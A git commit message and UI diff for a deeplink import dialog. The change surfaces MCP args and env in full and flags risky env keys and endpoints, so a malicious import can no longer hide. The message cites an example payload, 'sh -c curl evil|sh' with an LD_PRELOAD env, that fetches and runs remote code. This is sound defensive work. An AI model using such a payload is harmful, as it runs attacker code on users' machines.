fix(deeplink): surface MCP args/env and flag risky values on import

The MCP confirmation rendered only `Command: ${spec.command}`, inside a
`truncate` container, and showed neither `args` nor `env`. The realistic
payload -- `command: "sh"`, `args: ["-c", "curl evil|sh"]`, plus an
`env` carrying LD_PRELOAD -- therefore displayed as a harmless
`Command: sh`. On confirm it is written to `~/.claude.json` and the other
live files, and the CLI spawns it on next launch.

Render command, args, url and env on separate lines, expanding args
item by item rather than joining them: the payload usually sits inside
one argument, and joining then truncating is exactly how it stayed
hidden. `break-all` replaces `truncate` so nothing is clipped out of
view. Rows matching a `classify*` helper are marked, with a summary
block underneath since per-row markers are easy to skim past.

The provider side already listed env keys and values; it gains the same
highlighting, `break-all`, and an endpoint marker, and now shares
`maskValue` with the MCP view.

Show the "written to the target apps immediately" warning
unconditionally. It was gated on `request.enabled`, but the MCP import
path never reads that field -- `deeplink/mcp.rs` has no reference to it
and calls `set_enabled_for(&app, true)` unconditionally, unlike
prompt.rs, skill.rs and provider.rs which do honour it. Gating on it let
a malicious link omit `enabled` to suppress the warning while the write
behaviour stayed identical, turning the warning into a switch the
attacker controls.

New i18n keys added to all four locales (zh/en/ja/zh-TW).
This commit is contained in:
Jason
2026-07-28 22:48:21 +08:00
parent 6dbb944b54
commit a443eae95a
6 changed files with 241 additions and 81 deletions
+77 -60
View File
@@ -17,6 +17,12 @@ import { PromptConfirmation } from "./deeplink/PromptConfirmation";
import { McpConfirmation } from "./deeplink/McpConfirmation";
import { SkillConfirmation } from "./deeplink/SkillConfirmation";
import { ProviderIcon } from "./ProviderIcon";
import {
classifyEndpoint,
classifyEnvKey,
maskValue,
riskI18nKey,
} from "@/utils/deeplinkRisk";
interface DeeplinkError {
url: string;
@@ -277,16 +283,28 @@ export function DeepLinkImportDialog() {
}
}, [request?.config, request?.app]);
// Helper to mask sensitive values
const maskValue = (key: string, value: string): string => {
const sensitiveKeys = ["TOKEN", "KEY", "SECRET", "PASSWORD"];
const isSensitive = sensitiveKeys.some((k) =>
key.toUpperCase().includes(k),
/**
* env 行:值经 `maskValue` 脱敏,键命中加载器控制变量时标记。
*
* `break-all` 而非 `truncate`——被截断的值等于没展示。
*/
const EnvRow = ({ envKey, value }: { envKey: string; value: string }) => {
const risk = classifyEnvKey(envKey);
return (
<div className="grid grid-cols-2 gap-2 text-xs">
<span
className={`font-mono break-all ${
risk
? "text-yellow-700 dark:text-yellow-500 font-semibold"
: "text-muted-foreground"
}`}
>
{risk && <span aria-hidden="true"> </span>}
{envKey}
</span>
<span className="font-mono break-all">{maskValue(envKey, value)}</span>
</div>
);
if (isSensitive && value.length > 8) {
return `${value.substring(0, 8)}${"*".repeat(12)}`;
}
return value;
};
const getTitle = () => {
@@ -391,22 +409,37 @@ export function DeepLinkImportDialog() {
{t("deeplink.endpoint")}
</div>
<div className="col-span-2 text-sm break-all space-y-1">
{request.endpoint?.split(",").map((ep, idx) => (
<div
key={idx}
className={
idx === 0 ? "font-medium" : "text-muted-foreground"
}
>
{idx === 0 ? "🔹 " : "└ "}
{ep.trim()}
{idx === 0 && request.endpoint?.includes(",") && (
<span className="text-xs text-muted-foreground ml-2">
({t("deeplink.primaryEndpoint")})
</span>
)}
</div>
))}
{request.endpoint?.split(",").map((ep, idx) => {
const endpointRisk = classifyEndpoint(ep.trim());
return (
<div
key={idx}
className={
endpointRisk
? "text-yellow-700 dark:text-yellow-500 font-semibold"
: idx === 0
? "font-medium"
: "text-muted-foreground"
}
>
{idx === 0 ? "🔹 " : "└ "}
{endpointRisk && (
<span aria-hidden="true"> </span>
)}
{ep.trim()}
{idx === 0 && request.endpoint?.includes(",") && (
<span className="text-xs text-muted-foreground ml-2">
({t("deeplink.primaryEndpoint")})
</span>
)}
{endpointRisk && (
<div className="text-xs font-normal mt-0.5">
{t(riskI18nKey(endpointRisk))}
</div>
)}
</div>
);
})}
</div>
</div>
@@ -527,17 +560,11 @@ export function DeepLinkImportDialog() {
<div className="space-y-1.5">
{Object.entries(parsedConfig.env).map(
([key, value]) => (
<div
<EnvRow
key={key}
className="grid grid-cols-2 gap-2 text-xs"
>
<span className="font-mono text-muted-foreground truncate">
{key}
</span>
<span className="font-mono truncate">
{maskValue(key, String(value))}
</span>
</div>
envKey={key}
value={String(value)}
/>
),
)}
</div>
@@ -552,21 +579,17 @@ export function DeepLinkImportDialog() {
<div className="text-xs text-muted-foreground">
Auth:
</div>
{Object.entries(parsedConfig.auth).map(
([key, value]) => (
<div
key={key}
className="grid grid-cols-2 gap-2 text-xs pl-2"
>
<span className="font-mono text-muted-foreground truncate">
{key}
</span>
<span className="font-mono truncate">
{maskValue(key, String(value))}
</span>
</div>
),
)}
<div className="pl-2 space-y-1.5">
{Object.entries(parsedConfig.auth).map(
([key, value]) => (
<EnvRow
key={key}
envKey={key}
value={String(value)}
/>
),
)}
</div>
</div>
)}
{parsedConfig.tomlConfig && (
@@ -590,17 +613,11 @@ export function DeepLinkImportDialog() {
<div className="space-y-1.5">
{Object.entries(parsedConfig.env).map(
([key, value]) => (
<div
<EnvRow
key={key}
className="grid grid-cols-2 gap-2 text-xs"
>
<span className="font-mono text-muted-foreground truncate">
{key}
</span>
<span className="font-mono truncate">
{maskValue(key, String(value))}
</span>
</div>
envKey={key}
value={String(value)}
/>
),
)}
</div>